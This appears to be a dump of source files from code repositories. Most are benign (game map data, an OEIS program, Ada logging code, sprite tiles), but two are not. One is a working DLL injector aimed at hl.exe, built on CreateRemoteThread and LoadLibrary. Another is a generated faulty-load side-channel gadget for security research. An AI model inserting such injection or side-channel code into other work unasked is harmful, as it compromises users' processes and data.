max_stars_repo_path
stringlengths
4
261
max_stars_repo_name
stringlengths
6
106
max_stars_count
int64
0
38.8k
id
stringlengths
1
6
text
stringlengths
7
1.05M
data/mapObjects/route2.asm
etdv-thevoid/pokemon-rgb-enhanced
1
98394
<filename>data/mapObjects/route2.asm Route2Object: db $f ; border block db $8 ; warps db $9, $c, $0, DIGLETTS_CAVE_EXIT db $b, $3, $0, VIRIDIAN_FOREST_EXIT db $b, $4, $1, VIRIDIAN_FOREST_EXIT db $13, $f, $0, ROUTE_2_HOUSE db $23, $10, $0, ROUTE_2_GATE db $23, $11, $1, ROUTE_2_GATE db $27, $10, $2, ROUTE_2_GATE db $2b, $3, $2, VIRIDIAN_FOREST_ENTRANCE db $2 ; signs db $41, $5, $3 ; Route2Text3 db $b, $b, $4 ; Route2Text4 db $2 ; objects object SPRITE_BALL, $d, $36, STAY, NONE, $1, MOON_STONE object SPRITE_BALL, $d, $2d, STAY, NONE, $2, HP_UP ; warp-to EVENT_DISP ROUTE_2_WIDTH, $9, $c ; DIGLETTS_CAVE_EXIT EVENT_DISP ROUTE_2_WIDTH, $b, $3 ; VIRIDIAN_FOREST_EXIT EVENT_DISP ROUTE_2_WIDTH, $b, $4 ; VIRIDIAN_FOREST_EXIT EVENT_DISP ROUTE_2_WIDTH, $13, $f ; ROUTE_2_HOUSE EVENT_DISP ROUTE_2_WIDTH, $23, $10 ; ROUTE_2_GATE EVENT_DISP ROUTE_2_WIDTH, $23, $11 ; ROUTE_2_GATE EVENT_DISP ROUTE_2_WIDTH, $27, $10 ; ROUTE_2_GATE EVENT_DISP ROUTE_2_WIDTH, $2b, $3 ; VIRIDIAN_FOREST_ENTRANCE ; unused EVENT_DISP $4, $7, $2 db $12, $c7, $9, $7 EVENT_DISP $4, $7, $2 EVENT_DISP $4, $7, $2 EVENT_DISP $4, $7, $2
src/lambda_exe.asm
amalchuk/lambda_core
0
173106
<gh_stars>0 ; Copyright 2020-2021 <NAME>. All rights reserved. ; This project is licensed under the terms of the MIT License. format PE GUI entry start include 'win32a.inc' ; +--------------------------------------------+ ; | CODE SECTION | ; +--------------------------------------------+ start: push ebx esi edi invoke CreateToolhelp32Snapshot, TH32CS_SNAPPROCESS, 0 inc eax jz @f dec eax mov ebx, eax mov [lppe.dwSize], sizeof.PROCESSENTRY32 invoke Process32First, ebx, lppe test eax, eax jz @f .search: invoke lstrcmpi, lppe.szExeFile, szProcess test eax, eax jnz .next jmp .inject .next: invoke Process32Next, ebx, lppe test eax, eax jnz .search jmp @f .inject: invoke CloseHandle, ebx test eax, eax jz @f invoke OpenProcess, PROCESS_ALL_ACCESS, 0, [lppe.th32ProcessID] test eax, eax jz @f mov ebx, eax invoke GetFullPathName, szLibrary, MAX_PATH, szLibraryPath, 0 test eax, eax jz @f mov esi, eax invoke VirtualAllocEx, ebx, 0, esi, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE test eax, eax jz @f mov edi, eax invoke WriteProcessMemory, ebx, eax, szLibraryPath, esi, 0 test eax, eax jz @f invoke CreateRemoteThread, ebx, 0, 0, [LoadLibrary], edi, 0, 0 test eax, eax jz @f mov esi, eax invoke WaitForSingleObject, eax, INFINITE test eax, eax jnz @f invoke CloseHandle, esi test eax, eax jz @f invoke VirtualFreeEx, ebx, edi, 0, MEM_DECOMMIT test eax, eax jz @f invoke CloseHandle, ebx test eax, eax jz @f invoke Beep, 2EEh, 12Ch @@: pop edi esi ebx invoke ExitProcess, 0 ; +--------------------------------------------+ ; | OPTIONS SECTION | ; +--------------------------------------------+ szProcess db 'hl.exe', 0 szLibrary db 'lambda.dll', 0 szLibraryPath rb MAX_PATH TH32CS_SNAPPROCESS = 2h INFINITE = 0FFFFFFFFh struct PROCESSENTRY32 dwSize dd ? cntUsage dd ? th32ProcessID dd ? th32DefaultHeapID dd ? th32ModuleID dd ? cntThreads dd ? th32ParentProcessID dd ? pcPriClassBase dd ? dwFlags dd ? szExeFile rb MAX_PATH ends lppe PROCESSENTRY32 ; +--------------------------------------------+ ; | IMPORT SECTION | ; +--------------------------------------------+ data import dd 0, 0, 0, RVA kernel_name, RVA kernel_table dd 0, 0, 0, 0, 0 kernel_name db 'kernel32.dll', 0 kernel_table: Beep dd RVA _Beep CloseHandle dd RVA _CloseHandle CreateRemoteThread dd RVA _CreateRemoteThread CreateToolhelp32Snapshot dd RVA _CreateToolhelp32Snapshot ExitProcess dd RVA _ExitProcess GetFullPathName dd RVA _GetFullPathName LoadLibrary dd RVA _LoadLibrary OpenProcess dd RVA _OpenProcess Process32First dd RVA _Process32First Process32Next dd RVA _Process32Next VirtualAllocEx dd RVA _VirtualAllocEx VirtualFreeEx dd RVA _VirtualFreeEx WaitForSingleObject dd RVA _WaitForSingleObject WriteProcessMemory dd RVA _WriteProcessMemory lstrcmpi dd RVA _lstrcmpi dd 0 ; kernel32.dll => _Beep dw 0 db 'Beep', 0 _CloseHandle dw 0 db 'CloseHandle', 0 _CreateRemoteThread dw 0 db 'CreateRemoteThread', 0 _CreateToolhelp32Snapshot dw 0 db 'CreateToolhelp32Snapshot', 0 _ExitProcess dw 0 db 'ExitProcess', 0 _GetFullPathName dw 0 db 'GetFullPathNameA', 0 _LoadLibrary dw 0 db 'LoadLibraryA', 0 _OpenProcess dw 0 db 'OpenProcess', 0 _Process32First dw 0 db 'Process32First', 0 _Process32Next dw 0 db 'Process32Next', 0 _VirtualAllocEx dw 0 db 'VirtualAllocEx', 0 _VirtualFreeEx dw 0 db 'VirtualFreeEx', 0 _WaitForSingleObject dw 0 db 'WaitForSingleObject', 0 _WriteProcessMemory dw 0 db 'WriteProcessMemory', 0 _lstrcmpi dw 0 db 'lstrcmpiA', 0 end data ; +--------------------------------------------+ ; | RESOURCES SECTION | ; +--------------------------------------------+ data resource directory RT_ICON, icons, RT_GROUP_ICON, group_icons, RT_VERSION, versions resource icons, 1, LANG_NEUTRAL, icon_data resource group_icons, 1, LANG_NEUTRAL, main_icon resource versions, 1, LANG_NEUTRAL, version icon main_icon, icon_data, 'favicon.ico' versioninfo version, VOS_NT_WINDOWS32, VFT_APP, VFT2_UNKNOWN, LANG_NEUTRAL, 0, \ 'Comments', 'Lambda Core', \ 'FileDescription', 'OpenGL32 hooking library for GoldSource-based engine games', \ 'FileVersion', '1.0', \ 'InternalName', 'lambda', \ 'LegalCopyright', 'Copyright 2020-2021 <NAME>. All rights reserved.', \ 'OriginalFilename', 'lambda.exe', \ 'ProductName', 'Lambda Core', \ 'ProductVersion', '1.0' end data ; +--------------------------------------------+ ; | FIXUPS SECTION | ; +--------------------------------------------+ section '.reloc' fixups data readable discardable
libsrc/_DEVELOPMENT/input/zx/c/sccz80/in_stick_fuller.asm
meesokim/z88dk
0
3887
; uint16_t in_stick_fuller(void) SECTION code_input PUBLIC in_stick_fuller EXTERN asm_in_stick_fuller defc in_stick_fuller = asm_in_stick_fuller
src/base/log/util-log-appenders.adb
RREE/ada-util
60
28777
<filename>src/base/log/util-log-appenders.adb ----------------------------------------------------------------------- -- util-log-appenders -- Log appenders -- Copyright (C) 2001 - 2021 <NAME> -- Written by <NAME> (<EMAIL>) -- -- Licensed under the Apache License, Version 2.0 (the "License"); -- you may not use this file except in compliance with the License. -- You may obtain a copy of the License at -- -- http://www.apache.org/licenses/LICENSE-2.0 -- -- Unless required by applicable law or agreed to in writing, software -- distributed under the License is distributed on an "AS IS" BASIS, -- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -- See the License for the specific language governing permissions and -- limitations under the License. ----------------------------------------------------------------------- with Ada.Calendar.Formatting; with Ada.Strings; with Ada.Strings.Fixed; with Ada.Unchecked_Deallocation; with Util.Strings.Transforms; package body Util.Log.Appenders is use Ada; use Ada.Finalization; Appender_Factories : Appender_Factory_Access; -- ------------------------------ -- Get the log level that triggers display of the log events -- ------------------------------ function Get_Level (Self : in Appender) return Level_Type is begin return Self.Level; end Get_Level; -- ------------------------------ -- Set the log level. -- ------------------------------ procedure Set_Level (Self : in out Appender; Name : in String; Properties : in Util.Properties.Manager; Level : in Level_Type) is Prop_Name : constant String := "appender." & Name & ".level"; begin if Properties.Exists (Prop_Name) then Self.Level := Get_Level (Properties.Get (Prop_Name), Level); else Self.Level := Level; end if; end Set_Level; procedure Set_Level (Self : in out Appender; Level : in Level_Type) is begin Self.Level := Level; end Set_Level; -- ------------------------------ -- Set the log layout format. -- ------------------------------ procedure Set_Layout (Self : in out Appender; Name : in String; Properties : in Util.Properties.Manager; Layout : in Layout_Type) is use Ada.Strings; use Util.Strings.Transforms; Prop_Name : constant String := "appender." & Name & ".layout"; begin if Properties.Exists (Prop_Name) then declare Value : constant String := To_Lower_Case (Fixed.Trim (Properties.Get (Prop_Name), Both)); begin if Value = "message" then Self.Layout := MESSAGE; elsif Value = "level-message" then Self.Layout := LEVEL_MESSAGE; elsif Value = "date-level-message" or Value = "level-date-message" then Self.Layout := DATE_LEVEL_MESSAGE; else Self.Layout := FULL; end if; end; else Self.Layout := Layout; end if; end Set_Layout; procedure Set_Layout (Self : in out Appender; Layout : in Layout_Type) is begin Self.Layout := Layout; end Set_Layout; -- ------------------------------ -- Format the event into a string -- ------------------------------ function Format (Self : in Appender'Class; Date : in Ada.Calendar.Time; Level : in Level_Type; Logger : in String) return String is begin case Self.Layout is when MESSAGE => return ""; when LEVEL_MESSAGE => return Get_Level_Name (Level) & ": "; when DATE_LEVEL_MESSAGE => return "[" & Calendar.Formatting.Image (Date) & "] " & Get_Level_Name (Level) & ": "; when FULL => return "[" & Calendar.Formatting.Image (Date) & "] " & Get_Level_Name (Level) & " - " & Logger & " - : "; end case; end Format; overriding procedure Append (Self : in out List_Appender; Message : in Util.Strings.Builders.Builder; Date : in Ada.Calendar.Time; Level : in Level_Type; Logger : in String) is begin for I in 1 .. Self.Count loop Self.Appenders (I).Append (Message, Date, Level, Logger); end loop; end Append; -- ------------------------------ -- Flush the log events. -- ------------------------------ overriding procedure Flush (Self : in out List_Appender) is begin for I in 1 .. Self.Count loop Self.Appenders (I).Flush; end loop; end Flush; -- ------------------------------ -- Add the appender to the list. -- ------------------------------ procedure Add_Appender (Self : in out List_Appender; Object : in Appender_Access) is begin if Self.Count < Self.Appenders'Last then Self.Count := Self.Count + 1; Self.Appenders (Self.Count) := Object; end if; end Add_Appender; -- ------------------------------ -- Create a list appender and configure it according to the properties -- ------------------------------ function Create_List_Appender (Name : in String) return List_Appender_Access is Result : constant List_Appender_Access := new List_Appender '(Limited_Controlled with Length => Name'Length, Name => Name, others => <>); begin return Result; end Create_List_Appender; -- ------------------------------ -- Find an appender with a given name from the list of appenders. -- Returns null if there is no such appender. -- ------------------------------ function Find_Appender (List : in Appender_List; Name : in String) return Appender_Access is Appender : Appender_Access := List.First; begin while Appender /= null loop if Appender.Name = Name then return Appender; end if; Appender := Appender.Next; end loop; return null; end Find_Appender; -- ------------------------------ -- Add the appender to the list of appenders. -- ------------------------------ procedure Add_Appender (List : in out Appender_List; Appender : in Appender_Access) is begin Appender.Next := List.First; List.First := Appender; end Add_Appender; -- ------------------------------ -- Clear the list of appenders. -- ------------------------------ procedure Clear (List : in out Appender_List) is procedure Free is new Ada.Unchecked_Deallocation (Object => Appender'Class, Name => Appender_Access); Appender : Appender_Access; begin loop Appender := List.First; exit when Appender = null; List.First := Appender.Next; Free (Appender); end loop; end Clear; -- ------------------------------ -- Register the factory handler to create an appender instance. -- ------------------------------ procedure Register (Into : in Appender_Factory_Access; Name : in String; Create : in Factory_Access) is begin Into.Name := Name; Into.Factory := Create; Into.Next_Factory := Appender_Factories; Appender_Factories := Into; end Register; -- ------------------------------ -- Create an appender instance with a factory with the given name. -- ------------------------------ function Create (Name : in String; Config : in Util.Properties.Manager; Default : in Level_Type) return Appender_Access is Prop_Name : constant String := "appender." & Name; Appender_Type : constant String := Config.Get (Prop_Name, "console"); Factory : Appender_Factory_Access := Appender_Factories; begin while Factory /= null loop if Factory.Name = Appender_Type then return Factory.Factory (Name, Config, Default); end if; Factory := Factory.Next_Factory; end loop; Factory := Appender_Factories; if Factory /= null then return Factory.Factory (Name, Config, Default); end if; return null; end Create; end Util.Log.Appenders;
libsrc/math/mbf32/c/sccz80/atan.asm
rjcorrig/z88dk
0
102414
SECTION code_fp_mbf32 PUBLIC atan EXTERN ___mbf32_setup_single EXTERN ___mbf32_ATN EXTERN ___mbf32_return EXTERN msbios atan: call ___mbf32_setup_single ld ix,___mbf32_ATN call msbios jp ___mbf32_return
programs/oeis/097/A097083.asm
neoneye/loda
22
22529
<reponame>neoneye/loda<gh_stars>10-100 ; A097083: Values of k such that there is exactly one permutation p of (1,2,3,...,k) such that i+p(i) is a Fibonacci number for 1<=i<=k. ; 1,2,3,5,9,15,24,39,64,104,168,272,441,714,1155,1869,3025,4895,7920,12815,20736,33552,54288,87840,142129,229970,372099,602069,974169,1576239,2550408,4126647,6677056,10803704,17480760,28284464,45765225,74049690,119814915,193864605,313679521,507544127,821223648,1328767775,2149991424,3478759200,5628750624,9107509824,14736260449,23843770274,38580030723,62423800997,101003831721,163427632719,264431464440,427859097159,692290561600,1120149658760,1812440220360,2932589879120,4745030099481,7677619978602,12422650078083,20100270056685,32522920134769,52623190191455,85146110326224,137769300517679,222915410843904,360684711361584,583600122205488,944284833567072,1527884955772561,2472169789339634,4000054745112195,6472224534451829,10472279279564025,16944503814015855,27416783093579880,44361286907595735,71778070001175616,116139356908771352,187917426909946968,304056783818718320,491974210728665289,796030994547383610,1288005205276048899,2084036199823432509,3372041405099481409,5456077604922913919,8828119010022395328,14284196614945309247,23112315624967704576,37396512239913013824,60508827864880718400,97905340104793732224,158414167969674450625,256319508074468182850,414733676044142633475,671053184118610816325 add $0,3 seq $0,204 ; Lucas numbers (beginning with 1): L(n) = L(n-1) + L(n-2) with L(1) = 1, L(2) = 3. div $0,5
src/System/IO/Examples/WC.agda
ilya-fiveisky/agda-system-io
10
8864
<gh_stars>1-10 -- A simple word counter open import Coinduction using ( ♯_ ) open import Data.Char.Classifier using ( isSpace ) open import Data.Bool using ( Bool ; true ; false ) open import Data.Natural using ( Natural ; show ) open import System.IO using ( Command ) open import System.IO.Transducers.Lazy using ( _⇒_ ; inp ; out ; done ; _⟫_ ; _⟨&⟩_ ) open import System.IO.Transducers.List using ( length ) open import System.IO.Transducers.Bytes using ( bytes ) open import System.IO.Transducers.IO using ( run ) open import System.IO.Transducers.UTF8 using ( split ; encode ) open import System.IO.Transducers.Session using ( ⟨_⟩ ; _&_ ; Bytes ; Strings ) module System.IO.Examples.WC where words : Bytes ⇒ ⟨ Natural ⟩ words = split isSpace ⟫ inp (♯ length { Bytes }) -- TODO: this isn't exactly lovely user syntax. report : ⟨ Natural ⟩ & ⟨ Natural ⟩ ⇒ Strings report = (inp (♯ λ #bytes → (out true (out (show #bytes) (out true (out " " (inp (♯ λ #words → (out true (out (show #words) (out true (out "\n" (out false done))))))))))))) wc : Bytes ⇒ Bytes wc = bytes ⟨&⟩ words ⟫ report ⟫ inp (♯ encode) main : Command main = run wc
tests/tk-menu-menu_options_test_data.adb
thindil/tashy2
2
20101
-- This package is intended to set up and tear down the test environment. -- Once created by GNATtest, this package will never be overwritten -- automatically. Contents of this package can be modified in any way -- except for sections surrounded by a 'read only' marker. package body Tk.Menu.Menu_Options_Test_Data is Local_Menu_Options: aliased GNATtest_Generated.GNATtest_Standard.Tk.Menu .Menu_Options; procedure Set_Up(Gnattest_T: in out Test_Menu_Options) is begin GNATtest_Generated.GNATtest_Standard.Tk.Widget.Widget_Options_Test_Data .Widget_Options_Tests .Set_Up (GNATtest_Generated.GNATtest_Standard.Tk.Widget .Widget_Options_Test_Data .Widget_Options_Tests .Test_Widget_Options (Gnattest_T)); Gnattest_T.Fixture := Local_Menu_Options'Access; end Set_Up; procedure Tear_Down(Gnattest_T: in out Test_Menu_Options) is begin GNATtest_Generated.GNATtest_Standard.Tk.Widget.Widget_Options_Test_Data .Widget_Options_Tests .Tear_Down (GNATtest_Generated.GNATtest_Standard.Tk.Widget .Widget_Options_Test_Data .Widget_Options_Tests .Test_Widget_Options (Gnattest_T)); end Tear_Down; end Tk.Menu.Menu_Options_Test_Data;
Transynther/x86/_processed/NONE/_xt_sm_/i7-8650U_0xd2.log_56_197.asm
ljhsiun2/medusa
9
171356
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r15 push %r9 push %rax push %rcx push %rdi push %rdx push %rsi lea addresses_D_ht+0x1db00, %rsi lea addresses_WC_ht+0xe02f, %rdi nop inc %r9 mov $6, %rcx rep movsb nop and $33621, %r15 lea addresses_D_ht+0x4083, %rdx nop nop nop nop nop xor $41538, %r12 mov (%rdx), %ecx nop nop xor %rdi, %rdi lea addresses_WT_ht+0x7c83, %rsi nop nop xor %r15, %r15 mov (%rsi), %r12 add %r15, %r15 lea addresses_WC_ht+0x6483, %rdi nop nop nop nop cmp $5462, %r12 and $0xffffffffffffffc0, %rdi movaps (%rdi), %xmm7 vpextrq $0, %xmm7, %rcx inc %r12 lea addresses_UC_ht+0xd5c3, %rdi nop xor %rcx, %rcx movb $0x61, (%rdi) nop nop inc %rdi lea addresses_D_ht+0x16e83, %rsi lea addresses_WT_ht+0xbec3, %rdi nop xor %rax, %rax mov $86, %rcx rep movsb nop and $12824, %r12 lea addresses_normal_ht+0xc383, %rdi inc %rax movl $0x61626364, (%rdi) nop nop nop xor $53675, %rax lea addresses_D_ht+0x7313, %rsi lea addresses_D_ht+0xd83, %rdi inc %rax mov $56, %rcx rep movsq nop nop nop nop nop cmp %rcx, %rcx lea addresses_D_ht+0xa403, %r15 nop nop nop nop nop add $57065, %rax movb $0x61, (%r15) nop nop nop add $29737, %r9 lea addresses_WC_ht+0x9409, %rsi lea addresses_A_ht+0x3723, %rdi nop nop nop nop nop and $773, %r9 mov $69, %rcx rep movsb nop nop cmp $42999, %r15 lea addresses_normal_ht+0x1d583, %rdx nop nop nop sub %r9, %r9 movb $0x61, (%rdx) nop nop nop nop sub %rdi, %rdi lea addresses_A_ht+0x18883, %rdi nop nop and %rsi, %rsi movb (%rdi), %r12b nop sub %r15, %r15 lea addresses_UC_ht+0x1c4cb, %rsi lea addresses_A_ht+0xb483, %rdi nop nop nop nop cmp %r9, %r9 mov $70, %rcx rep movsw xor %rsi, %rsi pop %rsi pop %rdx pop %rdi pop %rcx pop %rax pop %r9 pop %r15 pop %r12 ret .global s_faulty_load s_faulty_load: push %r10 push %r14 push %r15 push %rbx push %rdi push %rdx push %rsi // Store lea addresses_RW+0x5594, %rsi nop nop nop cmp %rdi, %rdi mov $0x5152535455565758, %rdx movq %rdx, (%rsi) nop nop sub $36787, %rdx // Store lea addresses_UC+0x1b883, %r15 clflush (%r15) nop and $52724, %rsi movb $0x51, (%r15) nop nop nop nop xor %rbx, %rbx // Store lea addresses_UC+0x11745, %rbx dec %r10 movl $0x51525354, (%rbx) nop nop nop nop nop add $31262, %rdi // Store lea addresses_UC+0x1b883, %rdi nop nop nop inc %rbx movw $0x5152, (%rdi) nop nop nop nop nop add $4913, %rdx // Faulty Load lea addresses_UC+0x1b883, %r15 nop nop nop nop sub $13323, %rbx movb (%r15), %r10b lea oracles, %rdi and $0xff, %r10 shlq $12, %r10 mov (%rdi,%r10,1), %r10 pop %rsi pop %rdx pop %rdi pop %rbx pop %r15 pop %r14 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'size': 2, 'AVXalign': True, 'NT': False, 'congruent': 0, 'same': True}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 0, 'same': True}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 16, 'AVXalign': True, 'NT': False, 'congruent': 9, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 1, 'AVXalign': True, 'NT': False, 'congruent': 3, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 8, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 1, 'AVXalign': True, 'NT': False, 'congruent': 7, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': True}, 'dst': {'type': 'addresses_A_ht', 'congruent': 3, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 9, 'same': False}} {'52': 56} 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 */
oeis/021/A021165.asm
neoneye/loda-programs
11
245891
; A021165: Decimal expansion of 1/161. ; Submitted by <NAME>(s3) ; 0,0,6,2,1,1,1,8,0,1,2,4,2,2,3,6,0,2,4,8,4,4,7,2,0,4,9,6,8,9,4,4,0,9,9,3,7,8,8,8,1,9,8,7,5,7,7,6,3,9,7,5,1,5,5,2,7,9,5,0,3,1,0,5,5,9,0,0,6,2,1,1,1,8,0,1,2,4,2,2,3,6,0,2,4,8,4,4,7,2,0,4,9,6,8,9,4,4,0 add $0,1 mov $1,10 pow $1,$0 mul $1,84 div $1,13524 mod $1,10 mov $0,$1
src/utilities/text_file.adb
SKNZ/BoiteMaker
0
7530
with logger; use logger; package body text_file is procedure write_string_to_file(file_path, content : string) is file : file_type; begin begin debug("Ouverture du fichier " & file_path); -- Ouverture du fichier open(file, out_file, file_path); exception -- si le fichier n'existe pas when name_error => debug("Fichier inexistant ou erreur. Création"); -- creation du fichier create(file, out_file, file_path); debug("Fichier crée"); end; -- écriture de la chaîne dans le fichier put(file, content); -- fermeture du fichier close(file); debug("Fichier écrit et fermé"); end; procedure read_file_to_string(file_path : string; content : out unbounded_string) is file : file_type; begin content := to_unbounded_string(""); debug("Ouverture du fichier " & file_path); -- Ouverture du fichier open(file, in_file, file_path); while not end_of_file(file) loop declare line : constant string := get_line(file); begin append(content, line); end; end loop; -- fermeture du fichier close(file); debug("Fichier écrit et fermé"); end; procedure read_file_to_string(file_handle : in out file_type; content : out unbounded_string) is begin reset(file_handle, in_file); content := to_unbounded_string(""); while not end_of_file(file_handle) loop declare line : constant string := get_line(file_handle); begin append(content, line); end; end loop; end; end text_file;
programs/oeis/138/A138407.asm
neoneye/loda
22
12824
; A138407: a(n) = p^4*(p-1), where p = prime(n). ; 16,162,2500,14406,146410,342732,1336336,2345778,6156502,19803868,27705630,67469796,113030440,143589642,224465326,410305012,702806938,830750460,1329973986,1778817670,2044673352,3038106318,3891582322,5521317208,8498810976,10406040100,11480189862,13894437706,15245081388,18261304432,32778224766,38284989730,47909449096,51515543658,72946891348,77982840150,94781419356,114357705282,129114189286,154068147052,182739371218,193190961780,252864038590,266397696192,295203142276,310511361798,416245082610,549000103902,600083752066,627013333668,683772560872,776548456558,809616614640,992281500250,1116792422656,1253499846982,1403278638028,1456266729870,1624905685716,1745755065880,1808817913722,2152054833892,2718159444306,2900035070710,2994552587832,3190980362236,3961192197930,4333700367696,5016421239226,5162748293148,5465645814112,5946491753638,6639652379886,7200758854452,7799174541018,8219747159422,8884441475908,9836876364876,10342784640400,11417036648088,12883455853378,13194036274020,14838074122030,15185718052272,16267926122358,17023042140442,18208047514048,19889764589256,20775980702860,21230779490382,22164270355186,25163436445918,27337079396646,28478823794890,30876746004498,32134804148662,34098465996988,38313712570120,39055055425002,46257570590940 seq $0,40 ; The prime numbers. mov $1,$0 sub $0,1 pow $1,4 mul $0,$1
libsrc/_DEVELOPMENT/arch/zxn/esxdos/c/sccz80/esx_m_errh.asm
jpoikela/z88dk
640
90208
<reponame>jpoikela/z88dk ; void esx_m_errh(void (*handler)(uint8_t error)) SECTION code_esxdos PUBLIC esx_m_errh EXTERN asm_esx_m_errh defc esx_m_errh = asm_esx_m_errh ; SDCC bridge for Classic IF __CLASSIC PUBLIC _esx_m_errh defc _esx_m_errh = esx_m_errh ENDIF
src/firmware-tests/Platform/Lcd/AdcMocks.asm
pete-restall/Cluck2Sesame-Prototype
1
28395
<filename>src/firmware-tests/Platform/Lcd/AdcMocks.asm #include "Platform.inc" #include "TestDoubles.inc" radix decimal udata global calledInitialiseAdc global calledEnableAdc global calledDisableAdc calledInitialiseAdc res 1 calledEnableAdc res 1 calledDisableAdc res 1 AdcMocks code global initialiseAdcMocks global initialiseAdc global enableAdc global disableAdc initialiseAdcMocks: banksel calledInitialiseAdc clrf calledInitialiseAdc clrf calledEnableAdc clrf calledDisableAdc return initialiseAdc: mockIncrementCallCounter calledInitialiseAdc return enableAdc: mockIncrementCallCounter calledEnableAdc return disableAdc: mockIncrementCallCounter calledDisableAdc return end
unused/develop/obj/spritesheet_11_tiles.asm
pau-tomas/gbvm
33
25149
;-------------------------------------------------------- ; File Created by SDCC : free open source ANSI-C Compiler ; Version 4.1.4 #12246 (Mac OS X x86_64) ;-------------------------------------------------------- .module spritesheet_11_tiles .optsdcc -mgbz80 ;-------------------------------------------------------- ; Public variables in this module ;-------------------------------------------------------- .globl _spritesheet_11_tiles .globl ___bank_spritesheet_11_tiles ;-------------------------------------------------------- ; special function registers ;-------------------------------------------------------- ;-------------------------------------------------------- ; ram data ;-------------------------------------------------------- .area _DATA ;-------------------------------------------------------- ; ram data ;-------------------------------------------------------- .area _INITIALIZED ;-------------------------------------------------------- ; absolute external ram data ;-------------------------------------------------------- .area _DABS (ABS) ;-------------------------------------------------------- ; global & static initialisations ;-------------------------------------------------------- .area _HOME .area _GSINIT .area _GSFINAL .area _GSINIT ;-------------------------------------------------------- ; Home ;-------------------------------------------------------- .area _HOME .area _HOME ;-------------------------------------------------------- ; code ;-------------------------------------------------------- .area _CODE_255 .area _CODE_255 ___bank_spritesheet_11_tiles = 0x00ff _spritesheet_11_tiles: .dw #0x000c .db #0x00 ; 0 .db #0x00 ; 0 .db #0x07 ; 7 .db #0x07 ; 7 .db #0x18 ; 24 .db #0x18 ; 24 .db #0x27 ; 39 .db #0x20 ; 32 .db #0x2d ; 45 .db #0x20 ; 32 .db #0x5a ; 90 'Z' .db #0x64 ; 100 'd' .db #0x5a ; 90 'Z' .db #0x64 ; 100 'd' .db #0x5a ; 90 'Z' .db #0x64 ; 100 'd' .db #0x5a ; 90 'Z' .db #0x64 ; 100 'd' .db #0x2d ; 45 .db #0x32 ; 50 '2' .db #0x27 ; 39 .db #0x38 ; 56 '8' .db #0x18 ; 24 .db #0x1f ; 31 .db #0x07 ; 7 .db #0x07 ; 7 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0xc0 ; 192 .db #0xc0 ; 192 .db #0x20 ; 32 .db #0x20 ; 32 .db #0xa0 ; 160 .db #0x20 ; 32 .db #0xd0 ; 208 .db #0x10 ; 16 .db #0xd0 ; 208 .db #0x10 ; 16 .db #0xd0 ; 208 .db #0x10 ; 16 .db #0xd0 ; 208 .db #0x10 ; 16 .db #0xa0 ; 160 .db #0x60 ; 96 .db #0x20 ; 32 .db #0xe0 ; 224 .db #0xc0 ; 192 .db #0xc0 ; 192 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x07 ; 7 .db #0x07 ; 7 .db #0x1f ; 31 .db #0x18 ; 24 .db #0x38 ; 56 '8' .db #0x20 ; 32 .db #0x32 ; 50 '2' .db #0x20 ; 32 .db #0x41 ; 65 'A' .db #0x40 ; 64 .db #0x41 ; 65 'A' .db #0x40 ; 64 .db #0x41 ; 65 'A' .db #0x40 ; 64 .db #0x41 ; 65 'A' .db #0x40 ; 64 .db #0x20 ; 32 .db #0x20 ; 32 .db #0x20 